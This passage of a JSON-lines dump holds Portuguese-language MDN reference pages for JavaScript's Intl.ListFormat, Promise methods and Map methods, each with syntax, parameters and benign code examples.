Intl.ListFormat(\"pt-BR\", { style: \"narrow\", type: \"unit\" }).format(list),\n);\n// > Moto Ônibus Carro\n```\n\n### Utilizando formatToParts\n\nO exemplo a seguir mostra como criar o List formatter retornando as partes formatadas.\n\n\n```js\nconst list = [\"Moto\", \"Ônibus\", \"Carro\"];\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", {\n    style: \"long\",\n    type: \"conjunction\",\n  }).formatToParts(list),\n);\n\n// [ { \"type\": \"element\", \"value\": \"Moto\" },\n// { \"type\": \"literal\", \"value\": \", \" },\n// { \"type\": \"element\", \"value\": \"Ônibus\" },\n// { \"type\": \"literal\", \"value\": \", e \" },\n// { \"type\": \"element\", \"value\": \"Carro\" } ];\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Internationalization API Specification # listformat-objects |\n\nCompatibilidade de browser\n--------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl`\n* Um polyfill para `Intl.ListFormat` no FormatJS"}
{"title":"Construtor Intl.ListFormat() - JavaScript","text":"Construtor Intl.ListFormat()\n============================\n\n O construtor **`Intl.ListFormat()`** cria objetos\n `Intl.ListFormat` que habilitam a formatação de lista de acordo com o idioma.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nnew Intl.ListFormat();\nnew Intl.ListFormat(locales);\nnew Intl.ListFormat(locales, options);\n```\n\n### Parâmetros\n\n`locales` Optional\n\n Uma string com a tag de idioma BCP 47, ou um array de tais string. Veja de forma geral a interpretação do argumento `locales`, na página\n Intl.\n\n\n`options` Optional\n\nUm objeto com algumas ou todas as seguintes propriedades:\n\n`localeMatcher`\n\n O algoritmo de correspondência de localidade para ser utilizado. Os possíveis valores são \"`lookup`\"\n e \"`best fit`\"; o valor padrão é \"`best fit`\". Para mais informações sobre esta opção, veja a página Intl.\n\n\n`type`\n\n O formato de saída da mensagem. Os possíveis valores são \"`conjunction`\"\n que representa listas com \"e\" (padrão, e.g., \"`A, B, e C`\"), ou\n \"`disjunction`\" que representa listas com \"ou\" (e.g.,\n \"`A, B, ou C`\"). \"`unit`\" que representa listas com valores de unidade (e.g., \"`5 libras, 12 onças`\").\n\n\n`style`\n\n O tamanho da lista formatada. Os possíveis valores são: \"`long`\"\n (padrão, e.g., \"`A, B, e C`\"); \"`short`\" (e.g.,\n \"`A, B, C`\"), ou \"`narrow`\" (e.g., \"`A B C`\").\n quando `style` é \"`short`\" ou \"`narrow`\",\n \"`unit`\" é o único valor de tipo permitido.\n\n\n\nExemplos\n--------\n\n### Utilizando format\n\nO exemplo a seguir mostra como criar um List formatter utilizando o idioma Português.\n\n\n```js\nconst list = [\"Moto\", \"Ônibus\", \"Carro\"];\n\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", { style: \"long\", type: \"conjunction\" }).format(\n    list,\n  ),\n);\n// > Moto, Ônibus e Carro\n\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", { style: \"short\", type: \"disjunction\" }).format(\n    list,\n  ),\n);\n// > Moto, Ônibus ou Carro\n\nconsole.log(\n  new Intl.ListFormat(\"pt-BR\", { style: \"narrow\", type: \"unit\" }).format(list),\n);\n// > Moto Ônibus Carro\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Internationalization API Specification # sec-intl-listformat-constructor |\n\nCompatibilidade de browsers\n---------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Intl.ListFormat`\n* `Intl`"}
{"title":"Promise.prototype.catch() - JavaScript","text":"Promise.prototype.catch()\n=========================\n\nO método **catch()** retorna uma Promise e lida apenas com casos rejeitados. Ele possui o mesmo comportamento de quando chamamos `Promise.prototype.then(undefined, onRejected)` (de fato, chamando `obj.catch(onRejected)` internamente é chamado `obj.then(undefined, onRejected)`).Sintaxe\n-------\n```\n\np.catch(onRejected);\n\np.catch(function(motivo) {\n   // rejeição\n});\n```\n\n### Parâmetros\n\nonRejected\n\n Uma `Function` chamada quando a `Promise` é rejeitada. Esta função possui um argumento:\n **reason** da rejeição.\n O motivo da rejeição.\n\n\nA Promise retornada pelo `catch()` é rejeitada apenas se `onRejected` cospe um erro ou se o o retorno da Promise foi rejeitada por si mesmo, ou seja, foi resolvida.\n\n### Valor de retorno\n\nInternamente chamamos `Promise.prototype.then` sobre o objeto que é chamando passando parâmetros como `undefined` e `onRejected` no manipulador de eventos. Então retornamos o valor da chamada que é `Promise`.\n\n**Aviso:** O exemplo abaixo está cuspindo uma string. Isso é considerado uma má prática. Sempre cuspir uma instance de erro (Error). Em todo caso, a parte que faz a captura deve fazer verificaçoes sobre os argumentos para saber se é uma string ou um erro e você poderá perder informações valiosas como stack traces.\n\n**Demonstração de uma camada interna:**\n\n\n```js\n// Sobrescrevendo o techo original de Promise.prototype.then/catch adicionando alguns logs\n(function (Promise) {\n  var originalThen = Promise.prototype.then;\n  var originalCatch = Promise.prototype.catch;\n\n  Promise.prototype.then = function () {\n    console.log(\n      \"> > > > > > chamando .then em %o com argumentos: %o\",\n      this,\n      arguments,\n    );\n    return originalThen.apply(this, arguments);\n  };\n  Promise.prototype.catch = function () {\n    console.log(\n      \"> > > > > > chamando .catch em %o com argumentos: %o\",\n      this,\n      arguments,\n    );\n    return originalCatch.apply(this, arguments);\n  };\n})(this.Promise);\n\n// chamando um catch em uma Promise já resolvida.\nPromise.resolve().catch(function XXX() {});\n\n// logs:\n// > > > > > > chamando .catch na Promise{} com os argumentos: Arguments{1} [0: function XXX()]\n// > > > > > > chamando .then na Promise{} com os argumentos: Arguments{2} [0: undefined, 1: function XXX()]\n```\n\nDescription\n-----------\n\nO método `catch` pode ser útil para manipulação de erros na composição da sua promise.\n\nExemplos\n--------\n\n### Usando o método `catch`\n\n\n```js\nvar p1 = new Promise(function (resolve, reject) {\n  resolve(\"Sucesso\");\n});\n\np1.then(function (value) {\n  console.log(value); // \"Sucesso!\"\n  throw \"Ah, não!\";\n})\n  .catch(function (e) {\n    console.log(e); // \"Ah, não!\"\n  })\n  .then(\n    function () {\n      console.log(\"Após um catch, a sequencia é restaurada\");\n    },\n    function () {\n      console.log(\"Não engatilhado devido ao catch\");\n    },\n  );\n\n// O seguinte se comporta da mesma maneira que o anterior\np1.then(function (value) {\n  console.log(value); // \"Sucesso!\"\n  return Promise.reject(\"Ah, não!\");\n})\n  .catch(function (e) {\n    console.log(e); // \"Ah, não!\"\n  })\n  .then(\n    function () {\n      console.log(\"Após um catch, a sequencia é restaurada\");\n    },\n    function () {\n      console.log(\"Não engatilhado devido ao catch\");\n    },\n  );\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.prototype.catch |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Promise`\n* `Promise.prototype.then()`"}
{"title":"Promise.reject() - JavaScript","text":"Promise.reject()\n================\n\nO método **`Promise.reject(motivo)`** retorna um objeto Promise que é rejeitada com um dado motivo.\n\nSintaxe\n-------\n```\n\nPromise.reject(motivo);\n```\n\n### Parâmetros\n\nmotivo\n\nMotivo pelo qual este Promise foi rejeitado.\n\nDescrição\n---------\n\nO método estático `Promise.reject` retorna uma `Promise` que é rejeitada. Para fins de debug e captura de erros seletiva, é útil que o motivo seja uma `instanceof` `Error`.\n\nExemplos\n--------\n\n### Usando o método estático Promise.reject()\n\n\n```js\nPromise.reject(\"Testando reject estático\").then(\n  function (motivo) {\n    // não executado\n  },\n  function (motivo) {\n    console.log(motivo); // \"Testando reject estático\"\n  },\n);\n\nPromise.reject(new Error(\"falha\")).then(\n  function (erro) {\n    // não executado\n  },\n  function (erro) {\n    console.log(erro); // Stacktrace\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.reject |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Promise`\n* Captura de erros seletiva com a biblioteca de Promise BlueBird"}
{"title":"Promise.race() - JavaScript","text":"Promise.race()\n==============\n\nO método **`Promise.race(iterable)`** retorna uma promise que resolve ou rejeita assim que uma das promises no iterável resolver ou rejeitar, com o valor ou razão daquela promise.\n\nSintaxe\n-------\n```\n\nPromise.race(iterable);\n```\n\n### Parâmetros\n\niterable\n\nUm objeto iterável, como um `Array`. Veja iterável (en-US).\n\nDescrição\n---------\n\nA função `race` retorna uma `Promise` que é estabelecida da mesma forma que a primeira promise passada estabelecer. Ela resolve ou rejeita, o que acontecer primeiro.\n\nExemplos\n--------\n\n### Usando `Promise.race` – exemplos com `setTimeout`\n\n\n```js\nvar p1 = new Promise(function (resolve, reject) {\n  setTimeout(resolve, 500, \"one\");\n});\nvar p2 = new Promise(function (resolve, reject) {\n  setTimeout(resolve, 100, \"two\");\n});\n\nPromise.race([p1, p2]).then(function (value) {\n  console.log(value); // \"two\"\n  // Ambos resolvem, mas p2 é mais rápido\n});\n\nvar p3 = new Promise(function (resolve, reject) {\n  setTimeout(resolve, 100, \"three\");\n});\nvar p4 = new Promise(function (resolve, reject) {\n  setTimeout(reject, 500, \"four\");\n});\n\nPromise.race([p3, p4]).then(\n  function (value) {\n    console.log(value); // \"three\"\n    // p3 é mais rápido, então ela resolve\n  },\n  function (reason) {\n    // Não é chamado\n  },\n);\n\nvar p5 = new Promise(function (resolve, reject) {\n  setTimeout(resolve, 500, \"five\");\n});\nvar p6 = new Promise(function (resolve, reject) {\n  setTimeout(reject, 100, \"six\");\n});\n\nPromise.race([p5, p6]).then(\n  function (value) {\n    // Não é chamado\n  },\n  function (reason) {\n    console.log(reason); // \"six\"\n    // p6 é mais rápido, então ela rejeita\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.race |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVer também\n----------\n\n* `Promise`"}
{"title":"Promise.prototype.then() - JavaScript","text":"Promise.prototype.then()\n========================\n\nResumo\n------\n\nO método **then()** retorna uma **Promise**. Possui dois argumentos, ambos são \"**call back functions**\", sendo uma para o sucesso e outra para o fracasso da promessa.\n\nSintaxe\n-------\n```\n\np.then(quandoRealizada, quandoRejeitada);\n\np.then(function(valor) {\n   // sucesso\n  }, function(motivo) {\n  // rejeitada\n});\n```\n\n### Parametros\n\nquandoRealizada\n\nUma `Function` chamada quando a **Promise** é cumprida (Sucesso). Essa função tem um argumento, o valor do cumprimento.\n\nquandoRejeitada\n\nUma `Function` chamada quando a Promise é rejeitada. Essa função tem um argumento, o motivo da recusa.\n\nDescrição\n---------\n\nAssim como o método .then() e `Promise.prototype.catch()` retornam uma **Promise**, eles podem ser encadeados - uma operação chamada ***composition**.*\n\nExemplos\n--------\n\n### Usando o método then\n\n\n```js\nvar p1 = new Promise(function (resolve, reject) {\n  resolve(\"Success!\");\n  // or\n  // reject (\"Error!\");\n});\n\np1.then(\n  function (value) {\n    console.log(value); // Success!\n  },\n  function (reason) {\n    console.log(reason); // Error!\n  },\n);\n```\n\n### Encadeando\n\nJá que o método then() devolve uma **Promise**, você pode facilmente encadeá-los.\n\n\n```js\nvar p2 = new Promise(function (resolve, reject) {\n  resolve(1);\n});\n\np2.then(function (value) {\n  console.log(value); // 1\n  return value + 1;\n}).then(function (value) {\n  console.log(value); // 2\n});\n```\n\n\nNo exemplo acima, o último **.then()** recebeu a soma value + 1, que resultou em 2, porém se o retorno de value + 1 fosse uma **Promise** que também retornasse value + 1, o resultado seria o mesmo. Note, no exemplo abaixo, que leva 1000ms para a impressão de 2 ocorrer.\n\n\n```js\nvar p2 = new Promise(function (resolve, reject) {\n  resolve(1);\n});\n\np2.then(function (value) {\n  console.log(value); // 1\n  return new Promise(function (resolve, reject) {\n    setTimeout(function () {\n      resolve(value + 1);\n    }, 1000);\n  });\n}).then(function (value) {\n  console.log(value); // 2\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.prototype.then |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Promise`\n* `Promise.prototype.catch()`"}
{"title":"Promise.resolve() - JavaScript","text":"Promise.resolve()\n=================\n\nO método **`Promise.resolve(value)`** retorna um objeto `Promise` que é resolvido com o valor passado. Se o valor for *thenable* (ex: tiver um método `then`), a promise retornada irá \"seguir\" esse *thenable*, adotando seu estado final; se o valor for uma promise, o objeto será o resultado da chamada Promise.resolve; do contrário a promise será realizada com o valor.\n\nSintaxe\n-------\n```\n\nPromise.resolve(value);\nPromise.resolve(promise);\nPromise.resolve(thenable);\n```\n\n### Parametros\n\nvalue\n\nArgumento a ser resolvido pela `Promise`. Pode também ser uma `Promise` ou um thenable a resolver.\n\n### Valor retornado\n\nA `Promise` que será resolvida com o valor passado ou com a `Promise` passada como valor, caso o valor seja um objeto `Promise`\n\nDescrição\n---------\n\nA função estática `Promise.resolve` retorna uma `Promise` de que será resolvida.\n\nExamples\n--------\n\n### Usando o método estático `Promise.resolve`\n\n\n```js\nPromise.resolve(\"Success\").then(\n  function (value) {\n    console.log(value); // \"Success\"\n  },\n  function (value) {\n    // not called\n  },\n);\n```\n\n### Resolvendo um array\n\n\n```js\nvar p = Promise.resolve([1, 2, 3]);\np.then(function (v) {\n  console.log(v[0]); // 1\n});\n```\n\n### Resolvendo outra `Promise`\n\n\n```js\nvar original = Promise.resolve(true);\nvar cast = Promise.resolve(original);\ncast.then(function (v) {\n  console.log(v); // true\n});\n```\n\n\nA ordem invertida dos logs acontece devido ao fato de que os handlers são chamados assincronamente. Veja como o `then` funciona aqui.\n\n### Resolvendo thenables e disparando Errors\n\n\n```js\n// Resolving a thenable object\nvar p1 = Promise.resolve({\n  then: function (onFulfill, onReject) {\n    onFulfill(\"fulfilled!\");\n  },\n});\nconsole.log(p1 instanceof Promise); // true, object casted to a Promise\n\np1.then(\n  function (v) {\n    console.log(v); // \"fulfilled!\"\n  },\n  function (e) {\n    // not called\n  },\n);\n\n// Thenable throws before callback\n// Promise rejects\nvar thenable = {\n  then: function (resolve) {\n    throw new TypeError(\"Throwing\");\n    resolve(\"Resolving\");\n  },\n};\n\nvar p2 = Promise.resolve(thenable);\np2.then(\n  function (v) {\n    // not called\n  },\n  function (e) {\n    console.log(e); // TypeError: Throwing\n  },\n);\n\n// Thenable throws after callback\n// Promise resolves\nvar thenable = {\n  then: function (resolve) {\n    resolve(\"Resolving\");\n    throw new TypeError(\"Throwing\");\n  },\n};\n\nvar p3 = Promise.resolve(thenable);\np3.then(\n  function (v) {\n    console.log(v); // \"Resolving\"\n  },\n  function (e) {\n    // not called\n  },\n);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.resolve |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Promise`"}
{"title":"Promise.all() - JavaScript","text":"Promise.all()\n=============\n\nO método **`Promise.all(iterable)`** retorna uma única `Promise` que resolve quando todas as promises no argumento iterável forem resolvidas ou quando o iterável passado como argumento não contém promises. É rejeitado com o motivo da primeira promise que foi rejeitada.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nPromise.all(iterable);\n```\n\n### Parâmetros\n\niterable\n\nUm objeto iterável, como um `Array` ou `String`.\n\n### Retorno\n\n* Uma `Promise` **já resolvida** se o iterável passado for vazio.\n* Uma `Promise` **resolvida assíncronamente** se o iterável passado não conter promises. Nota, Google Chrome 58 retorna uma promise **já resolvida** nesse caso.\n* Uma `Promise` **pendente** em todos os outros casos. Essa promise retornada é então resolvida/rejeitada **assíncronamente** (tão logo a pilha esteja vazia) quando todas as promises no dado iterável forem resolvidas, ou se alguma das promises for rejeitada. Veja o exemplo sobre \"Assincronia ou sincronia da Promise.all\" abaixo. Os valores retornados estarão na ordem em que as promises foram passadas. independentemente da ordem em que forem concluídas.\nDescrição\n---------\n\nEsse método pode ser usado para agregar resultados de várias promises.\n\n### Resolução\n\nA promise retornada é resolvida com um array contendo **todos** os valores dos iteráveis passados como argumento (como valores que não são promises).\n\n* Se um iterável vazio é passado, então esse método retorna (sincronamente) uma promise já resolvida.\n* Se todas as promises passadas forem resolvidas, ou não forem promises, a promise retornada por `Promise.all` é resolvida assincronamente.\n### Rejeição\n\nSe qualquer uma das promises passadas for rejeitada, `Promise.all` assíncronamente é rejeitada com o valor da promise rejeitada, independentemente se outras promises foram resolvidas.\n\nExemplos\n--------\n\n### Utilizando Promise.all\n\n`Promise.all` espera que todas as promises sejam resolvidas (ou a primeira rejeição).\n\n\n```js\nvar p1 = Promise.resolve(3);\nvar p2 = 1337;\nvar p3 = new Promise((resolve, reject) => {\n  setTimeout(() => {\n    resolve(\"foo\");\n  }, 100);\n});\n\nPromise.all([p1, p2, p3]).then((valores) => {\n  console.log(valores); // [3, 1337, \"foo\"]\n});\n```\n\n\nSe o iterável conter valores que não são promises, eles serão ignorados, mas ainda serão contados no array da promise retornada (se a promise for resolvida):\n\n\n```js\n// Essa será considerada como se o iterável passado fosse vazio, logo ela será resolvido\nvar p = Promise.all([1, 2, 3]);\n// Essa será considerada como se o iterável passado contém apenas a promise resolvida com o valor \"444\", logo ela é resolvida\nvar p2 = Promise.all([1, 2, 3, Promise.resolve(444)]);\n// Esse será considerada como se o iterável passado contém apenas o valor de rejeição \"555\" da promise, logo ela é rejeitada\nvar p3 = Promise.all([1, 2, 3, Promise.reject(555)]);\n\n// Utilizando setTimeout para executar código depois que a pilha estiver vazia\nsetTimeout(function () {\n  console.log(p);\n  console.log(p2);\n  console.log(p3);\n});\n\n// logs\n// Promise { <estado>: \"resolvida\", <valor>: Array[3] }\n// Promise { <estado>: \"resolvida\", <valor>: Array[4] }\n// Promise { <estado>: \"rejeitada\", <razão>: 555 }\n```\n\n### Assincronia ou sincronia da Promise.all\n\nO exemplo a seguir demonstra a assincronia (ou sincronia, se o iterável passado for fazio) de `Promise.all`:\n\n\n```js\n// Passamos o argumento como um array de promises que já estão resolvidas para disparar Promise.all a mais rápido possível\nvar arrayPromisesResolvidas = [Promise.resolve(33), Promise.resolve(44)];\n\nvar p = Promise.all(arrayPromisesResolvidas);\n// Logando imediatamente o valor de p\nconsole.log(p);\n\n// Utilizando setTimeout para executar código depois que a pilha estiver vazia\nsetTimeout(function () {\n  console.log(\"a pilha está vazia agora\");\n  console.log(p);\n});\n\n// logs, em ordem:\n// Promise { <estado>: \"pendente\" }\n// a pilha está vazia agora\n// Promise { <estado>: \"resolvida\", <valor>: Array[2] }\n```\n\n\nA mesma coisa acontece se `Promise.all` for rejeitada:\n\n\n```js\nvar arrayPromisesMisturadas = [Promise.resolve(33), Promise.reject(44)];\nvar p = Promise.all(arrayPromisesMisturadas);\nconsole.log(p);\nsetTimeout(function () {\n  console.log(\"a pilha está vazia agora\");\n  console.log(p);\n});\n\n// logs\n// Promise { <estado>: \"pendente\" }\n// a pilha está vazia agora\n// Promise { <estado>: \"rejeitada\", <razão>: 44 }\n```\n\n\nMas, `Promise.all` resolve sincromamente **se e somente se** o iterável passado for vazio:\n\n\n```js\nvar p = Promise.all([]); // será resolvida imediatamente\nvar p2 = Promise.all([1337, \"oi\"]); // um valor que não é uma promise será ignorado, mas a avaliação será feita assíncronamente\nconsole.log(p);\nconsole.log(p2);\nsetTimeout(function () {\n  console.log(\"a pilha está vazia agora\");\n  console.log(p2);\n});\n\n// logs\n// Promise { <estado>: \"resolvida\", <valor>: Array[0] }\n// Promise { <estado>: \"pendente\" }\n// a pilha está vazia agora\n// Promise { <estado>: \"resolvida\", <valor>: Array[2] }\n```\n\n### Comportamente de falhar rapidamente de Promise.all\n\n`Promise.all` é rejeitada se qualquer um dos elementos for rejeitado. Por exemplo, se você passar quartro promises que resolvem após um intervalo de tempo e uma promise que rejeita imediatamente, então `Promise.all` será rejeitada imediatamente.\n\n\n```js\nvar p1 = new Promise((resolve, reject) => {\n  setTimeout(() => resolve(\"um\"), 1000);\n});\nvar p2 = new Promise((resolve, reject) => {\n  setTimeout(() => resolve(\"dois\"), 2000);\n});\nvar p3 = new Promise((resolve, reject) => {\n  setTimeout(() => resolve(\"três\"), 3000);\n});\nvar p4 = new Promise((resolve, reject) => {\n  setTimeout(() => resolve(\"quatro\"), 4000);\n});\nvar p5 = new Promise((resolve, reject) => {\n  reject(new Error(\"rejeitada\"));\n});\n\n// Usando .catch:\nPromise.all([p1, p2, p3, p4, p5])\n  .then((valores) => {\n    console.log(valores);\n  })\n  .catch((erro) => {\n    console.log(erro.message);\n  });\n\n// No console:\n// \"rejeitada\"\n```\n\n\nÉ possível mudar esse comportamente lidando com possíveis rejeições:\n\n\n```js\nvar p1 = new Promise((resolve, reject) => {\n  setTimeout(() => resolve(\"p1\\_resolução\\_atrasada\"), 1000);\n});\n\nvar p2 = new Promise((resolve, reject) => {\n  reject(new Error(\"p2\\_rejeição\\_imediata\"));\n});\n\nPromise.all([\n  p1.catch((erro) => {\n    return erro;\n  }),\n  p2.catch((erro) => {\n    return erro;\n  }),\n]).then((valores) => {\n  console.log(valores[0]); // \"p1\\_resolução\\_atrasada\"\n  console.log(valores[1]); // \"Erro: p2\\_rejeição\\_imediata\"\n});\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.all |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Promise`\n* `Promise.race()`"}
{"title":"Promise.prototype.finally() - JavaScript","text":"Promise.prototype.finally()\n===========================\n\nO método **`finally()`** retorna uma `Promise`. Quando a promise for estabelecida, tenha ela sido realizada ou rejeitada, executa-se a função callback especificada. Isso permite a execução de um código que acontecerá independentemente da `Promise` ter sido realizada (com sucesso) ou rejeitada (com falha).\n\nAssim, você pode evitar a duplicação do código em ambos os handlers `then()` e `catch()` da `Promise`.\n\nSintaxe\n-------\n```\n\np.finally(quandoEstabelecida);\n\np.finally(function() {\n   // concluída (realizada ou rejeitada)\n});\n```\n\n### Parâmetros\n\n`quandoEstabelecida`\n\nUma `Function` chamada quando a `Promise` é concluída.\n\n### Valor de retorno\n\nRetorna uma `Promise` onde o manipulador `finally` é definido como a função especificada, `quandoEstabelecida`.\n\nDescrição\n---------\n\nO método `finally()` pode ser útil quando você deseja realizar algum tipo de processamento ou limpeza quando a promise for estabelecida, independentemente de seu resultado (sucesso ou falha).\n\nO método `finally()` é bastante similar a chamar `.then(quandoEstabelecida, quandoEstabelecida)`. Porém, existem algumas diferenças:\n\n* Ao passar a função na linha (entre os parênteses do método), você precisa passá-la apenas uma vez, ao invés de ser forçado a declará-la duas vezes ou a definir em uma variável.\n* O callback de `finally` não poderá receber nenhum argumento, já que não existem meios confiáveis de determinar se a promise foi realizada ou rejeitada. Seu uso é para quando você realmente *não se importa* com os possíveis motivos de uma falha ou possíveis valores retornados de um sucesso, não tendo, portanto, razão para fornecê-los.\n* Diferentemente de `Promise.resolve(2).then(() => {}, () => {})` (será resolvido como `undefined`), `Promise.resolve(2).finally(() => {})` será resolvido como `2`.\n* De maneira semelhante, diferentemente de `Promise.reject(3).then(() => {}, () => {})` (que será resolvido como `undefined`), `Promise.reject(3).finally(() => {})` será rejeitado como `3`.\n\n**Nota:** Um `throw` (ou retorno de uma promise rejeitada) no callback de `finally` rejeitará a nova promise com a razão de rejeição especificada na chamada de `throw()`.\n\nExemplos\n--------\n\n\n```js\nlet carregando = true;\n\nfetch(minhaRequisicao)\n  .then(function (resposta) {\n    var tipoConteudo = response.headers.get(\"content-type\");\n    if (tipoConteudo && tipoConteudo.includes(\"application/json\")) {\n      return resposta.json();\n    }\n    throw new TypeError(\"Opa, isso não é JSON!\");\n  })\n  .then(function (json) {\n    /\\* processamento do seu JSON \\*/\n  })\n  .catch(function (erro) {\n    console.log(erro);\n  })\n  .finally(function () {\n    carregando = false;\n  });\n```\n\nEspecificações\n--------------\n\n| Specification | Status | Comment |\n| --- | --- | --- |\n| TC39 proposal | Stage 4 |  |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Promise`\n* `Promise.prototype.then()`\n* `Promise.prototype.catch()`"}
{"title":"Promise.allSettled() - JavaScript","text":"Promise.allSettled()\n====================\n\nO método **`Promise.allSettled()`** retorna uma promessa que é resolvida após todas as promessas dadas serem resolvidas ou rejeitadas, com um array de objetos que descrevem o resultado de cada promessa.\n\nÉ tipicamente usado quando você tem múltiplas tarefas assíncronas que não são dependentes das conclusões umas das outras, ou quando você sempre quer ter o resultado de cada promessa.\n\nPara comparação, a promessa retornada por `Promise.all()` pode ser mais apropriada para tarefas que dependem umas das outras, ou se você precisa que todas as tarefas sejam rejeitadas quando apenas uma é.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\npromise.allSettled(iterable);\n```\n\n### Parâmetros\n\n`iterable`\n\nUm objeto iterável (en-US), como um `Array`, onde cada membro é uma `Promise`.\n\n### Valor retornado\n\nUma `Promise` **pendente** que vai ser **preenchida assíncronamente** quando todas as promessas na coleção fornecida forem completas, sendo aceitas ou rejeitadas. Quando isso acontecer, é retornado um array contendo um resultado para cada promessa passada como entrada.\n\nPara cada objeto no array retornado, existe uma string `status`. Se o status for `fulfilled`, então o campo `value` estará presente. Se o status for `rejected`, então o campo `reason` estará presente. O valor (value) ou o motivo da falha (reason) refletem o valor com que cada promessa foi completada (ou rejeitada).\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-promise.allsettled |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Promessas\n* Usando promessas\n* Programando assincronamente de maneira elegante usando promessas\n* `Promise`\n* `Promise.all()`"}
{"title":"Map.prototype.entries() - JavaScript","text":"Map.prototype.entries()\n=======================\n\nO método **`entries()`** retorna um novo objeto **iterador** que contém os pares `[key, value]` de cada elemento no objeto `Map` na ordem em que foram inseridos. Nesse caso em particular, esse objeto iterador também é iterativo. então o loop for-of pode ser usado. Quando o protocolo `[Symbol.iterator]` é usado, ele retorna uma função que, quando invocada, retorna o própio iterador.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nentries();\n```\n\n### Valor retornado\n\nUm novo objeto iterador `Map`.\n\nExemplos\n--------\n\n### Usando o entries()]\n\n\n```js\nlet myMap = new Map();\nmyMap.set(\"0\", \"foo\");\nmyMap.set(1, \"bar\");\nmyMap.set({}, \"baz\");\n\nlet mapIter = myMap.entries();\n\nconsole.log(mapIter.next().value); // [\"0\", \"foo\"]\nconsole.log(mapIter.next().value); // [1, \"bar\"]\nconsole.log(mapIter.next().value); // [Object, \"baz\"]\n```\n\nEspecificação\n-------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.entries |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map.prototype.keys()`\n* `Map.prototype.values()`"}
{"title":"get Map[@@species] - JavaScript","text":"get Map[@@species]\n==================\n\nO Acessor de propriedade **`Map[@@species]`** retorna o construtor do `Map`.\n\nDescrição\n---------\n\n O acessor `species` retorna o valor padrão do construtor dos objetos `Map`\n Subclasses de construtores podem sobrescrever isso para mudar o construtor atribuído.\n\nExemplos\n--------\n\n### Species em objetos ordinários\n\nA propriedade *species* retorna a função padrão do construtor, que é o construtor `Map` para objetos `Map`.\n\n\n```js\nMap[Symbol.species]; // function Map()\n```\n\n### Species em objetos derivados\n\n Em uma objeto derivado (e.g. seu custom map `MyMap`), a `specie` do `MyMap` é o construtor do `MyMap`.\n Porém, você deve querer sobrescrever isso, para retornar o objeto `Map` pai nos métodos derivados de sua classe.\n\n\n```js\nclass MyMap extends Map {\n  // Overwrite MyMap species to the parent Map constructor\n  static get [Symbol.species]() {\n    return Map;\n  }\n}\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-get-map-@@species |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `Symbol.species`"}
{"title":"Map.prototype.clear() - JavaScript","text":"Map.prototype.clear()\n=====================\n\nO método **`clear()`** remove todos os elementos de um objeto `Map`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nclear();\n```\n\n### Valor retornado\n\n`undefined`.\n\nExemplos\n--------\n\n### Usando o clear()\n\n\n```js\nvar myMap = new Map();\nmyMap.set(\"bar\", \"baz\");\nmyMap.set(1, \"foo\");\n\nmyMap.size; // 2\nmyMap.has(\"bar\"); // true\n\nmyMap.clear();\n\nmyMap.size; // 0\nmyMap.has(\"bar\"); // false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.clear |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`"}
